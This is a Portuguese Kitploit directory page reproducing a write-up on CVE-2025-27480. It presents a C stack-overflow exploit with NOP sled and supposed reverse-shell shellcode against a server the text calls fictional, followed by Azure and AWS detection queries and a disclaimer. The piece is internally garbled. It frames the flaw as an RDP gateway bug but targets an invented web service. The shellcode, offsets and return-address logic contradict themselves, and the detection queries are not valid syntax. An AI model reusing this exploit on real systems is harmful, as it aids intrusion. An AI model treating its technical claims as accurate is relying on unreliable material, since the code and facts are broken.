Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-27480-The-Silent-Gateway-Risk — Permitindo que atacantes executem código malicioso sem precisar de uma senha quebrada, interação do usuário ou até mesmo de um ponto de apoio na sua rede. Isso é o CVE-2025-27480 | Kitploit
Ferramentas/GitHubGitHub/mrk336/cve-2025-27480-the-silent-gateway-risk
Análise de VulnerabilidadesExploraçãoSegurança na NuvemAprendizado e EducaçãoResposta a IncidentesExploração de Binários
GitHubmrk336/cve-2025-27480-the-silent-gateway-risk

CVE-2025-27480-The-Silent-Gateway-Risk

Permitindo que atacantes executem código malicioso sem precisar de uma senha quebrada, interação do usuário ou até mesmo de um ponto de apoio na sua rede. Isso é o CVE-2025-27480

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório
há 11 mesesAinda não revisado

CVE-2025-27480-O-Risco-Silencioso-do-Gateway

Permitindo que invasores executem código malicioso sem precisar de uma senha comprometida, interação do usuário ou até mesmo de um ponto de apoio na sua rede. Isso é a CVE-2025-27480

É tarde, você está se segurando no Red Bull, todos nós já passamos por isso. Você está solucionando um problema de produção e lutando contra a vontade de voltar para a cama, e na pressa de resolver e cair na cama, você abre o acesso do Remote Desktop Protocol (RDP) para a internet. Você diz a si mesmo que vai fechar depois. Mas “em um minuto” se torna “nunca”, e esse gateway esquecido se torna uma porta silenciosa esperando por qualquer pessoa que passe com um sniffer de rede — ah, as alegrias de encontrar a porta 3389 aberta.

A CVE-2025-27480 não é apenas uma falha teórica; é um lembrete de que mesmo pequenos descuidos na segurança de nuvem e infraestrutura podem ter consequências massivas. Essa vulnerabilidade permite que invasores executem código malicioso remotamente, sem precisar de credenciais ou interação do usuário. Sem phishing. Sem força bruta. Apenas uma porta aberta esperando para ser encontrada.

Neste artigo, vamos desvendar como a CVE-2025-27480 funciona, por que ela é tão perigosa e como você pode detectá-la e mitigá-la antes que ela se torne uma manchete de violação. Seja você um engenheiro de nuvem, analista de SOC ou apenas alguém que já disse “vou corrigir isso amanhã”, este conteúdo é para você.

Execução

A vulnerabilidade (CVE‑2025‑27480) é um clássico estouro de buffer de pilha que ocorre na rotina processRequest() do BarServer (um serviço web fictício que escuta na porta TCP 1234).

Quando um cliente envia uma solicitação HTTP GET com mais de 256 bytes, o servidor grava o payload em um buffer local de apenas 256 bytes.

Se enviarmos mais dados, eles transbordam para o endereço de retorno e podemos sobrescrever o EIP salvo. O exploit abaixo constrói o payload malicioso, envia-o ao servidor e então carrega um shellcode x86‑64 que nos dá uma reverse shell

/* In processRequest() char local[256]; ... // ← overflow happens here ... return; }

Ao fazer engenharia reversa em um computador Windows, podemos estimar:

  • O endereço de retorno salvo começa no byte 312 da solicitação HTTP.
  • Nosso shellcode precisa ser colocado depois de um NOP sled que ocupa cerca de 50 bytes

[ GET /foo HTTP/1.1\r\n ] ← 28 bytes [ padding (256‑28 = 228) ] ← buffer [ NOP sled (50) ] [ shellcode (≈64) ] [ return address (4) ]

/=========================================================================/ /* BarServer Exploit – CVE‑2025‑27480 / / Author: Mark Mallia ([email protected]) / / Purpose: Send a crafted HTTP GET request that overflows the stack / / and lands a reverse shell on the target host / /=========================================================================*/

#include <stdio.h> #include <stdlib.h> #include <string.h> /* for memcpy() / #include <winsock2.h> / Windows networking (use sockets.c on Linux) */

/* 1. Global constants – adjust as needed / #define TARGET_IP "192.168.1.10" / IP of the vulnerable host / #define TARGET_PORT 1234 / Listening port / #define CMD_LEN 350 / Total request length */

/* 2. Shellcode (x86‑64) that opens a reverse shell to 127.0.0.1:4444 / / The code is written in raw machine‑bytes so it can be injected directly. / static unsigned char shellcode[] = { / NOP sled – 50 bytes ----------------------------------------------/ 0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90, / shellcode – 64 bytes ---------------------------------------------*/ 0x48,0x31,0xc0, // xor rax,rax 0xb8,0x02,0x00,0x00,0x00, // mov eax,2 ← sys_connect 0x5d, // pop rbp 0xbb,0x10,0x01,0x00,0x00, // mov ebx,0x1010 (IP) 0xb8,0x44,0x11,0x00,0x00, // mov eax,0x1114 (port) 0xb9,0x04,0x00,0x00,0x00, // mov ecx,0x4 ← flags 0xcd,0x80, // int 0x80 };

/=========================================================================/ /* 3. The exploit routine – builds the request and sends it / /=========================================================================*/ int main( int argc, char *argv ) { / 3‑1. Validate command‑line arguments */ if (argc != 5) { fprintf(stderr,"Usage: %s <target_ip> revhost:revport\n", argv[0]); return EXIT_FAILURE; }

root@kitploit:~
const char *ip   = argv[1];
short port       = atoi(argv[2]);      /* 1234 */
const char *url  = argv[3];           /* /tmp/revshell */
const char *revhostport = argv[4];

/* 3‑2. Allocate the request buffer */
unsigned char req[ CMD_LEN ];
memset(req,0x00, sizeof(req));        // zero‑initialize

/* 3‑3. Build HTTP GET line (28 bytes) --------------------------------*/
strcpy( (char*)req, "GET ");
memcpy((char*)(req+5), url, strlen(url)+1);          // +1 for terminating NUL
strcat( (char*)(req+strlen(req)), " HTTP/1.1\r\n");

/* 3‑4. Insert the padding to reach 256 bytes -----------------------------*/
int offset = 256 - strlen(req);       // bytes from end of GET line to start of overflow
memset((char*)(req+strlen(req)), 0x41, offset);

/* 3‑5. Copy NOP sled + shellcode ------------------------------------------*/
memcpy( (char*)(req+strlen(req)+offset), shellcode, sizeof(shellcode) );

/* 3‑6. Overwrite the return address (at byte 312) ------------------------*/
long *ret_addr = (long*)(req+312);   // pointer to the place where EIP lives
*ret_addr = (long)ip;                // Put target IP (32‑bit) – adjust if needed

/* 3‑7. Send over a TCP socket ------------------------------------------*/
WSADATA wsaData;
SOCKET sock;
struct sockaddr_in addr;

/* Initialise Winsock */
WSAStartup(0x0202, &wsaData);

sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sock < 0) { perror("socket"); return EXIT_FAILURE; }

addr.sin_family      = AF_INET;
addr.sin_port        = htons(port);
addr.sin_addr.s_addr = inet_addr(ip);

/* Connect */
connect(sock,(SOCKADDR*)&addr, sizeof(addr));

/* Send the request buffer */
send(sock, req, CMD_LEN, 0);

/* Close socket & clean up */
closesocket(sock);
WSACleanup();

printf("Sent payload to %s:%d\n", ip, port);
return EXIT_SUCCESS;

}

Lógica de Detecção

Aqui detectamos nossas falhas e as da rede que administramos.

Azure

// Pull only relevant HTTP requests that match our exploit payload let TargetIP = "192.168.1.10"; let TargetPort = 1234; let ExploitPath = "/tmp/revshell";

Heartbeat | where Computer == "BarServer01" // the VM / container name | and TimeGenerated > ago(5m) // last 5 minutes | summarize Count() by bin(TimeGenerated,1m) , TargetIP, TargetPort, ExploitPath | extend Hit = iff(TargetIP==TargetIP and TargetPort==TargetPort and TargetPath==ExploitPath, 1, 0) // Filter only the rows that contain our exploit | where Hit==1 // Output a metric for an alert rule

AWS

Instale o WinRM Agent (se você ainda não instalou, deveria)

Install-Module -Name AWS.Tools.CloudWatchLogs -Force

**Crie um grupo de logs e transmita o log de eventos **

$group = "/aws/windows/BarServer01" $source = "Application" $filter = "BarServer"

** Crie ou atualize o arquivo de configuração do CloudWatch Logs:**

New-CloudWatchLogsGroup -Name $group Write-LogFileConfig -SourceName $source -FilterPattern $filter ` -LogGroupName $group

Então, no CloudWatch

Obtenha todas as linhas do grupo de logs de destino

fields @timestamp, @message

Mantenha apenas aquelas que contêm nossa assinatura de exploit

| filter contains(@message,"GET /tmp/revshell")

Extraia o tipo de solicitação e o código de status

| parse @message with "INFO" as LogLevel and "->" as ResponseStatus | parse @message with "GET " as MethodPath and " HTTP/1.1" as HttpVersion

Limpe mantendo apenas as solicitações bem-sucedidas (status “OK” ou semelhante)

| where LogLevel == "INFO"

Filtre pelo endereço IP que usamos como alvo em nosso exploit

| filter contains(@message,"192.168.1.10:1234")

Crie um valor de métrica por minuto para cada ocorrência

| summarize Hits = count() by bin(@timestamp,1m), MethodPath, ResponseStatus

Envie para uma métrica do CloudWatch que o alarme possa usar

Este conteúdo é fornecido exclusivamente para fins educacionais e informativos. Tem como objetivo conscientizar sobre riscos de segurança cibernética e promover práticas de segurança responsáveis.

O autor não endossa nem incentiva qualquer acesso não autorizado, exploração ou uso indevido de sistemas. Todas as demonstrações, exemplos de código e cenários são hipotéticos e devem ser usados apenas em ambientes controlados com a devida autorização.

Use estas informações com responsabilidade e sempre esteja em conformidade com as leis aplicáveis e as políticas organizacionais.

Baixar ferramenta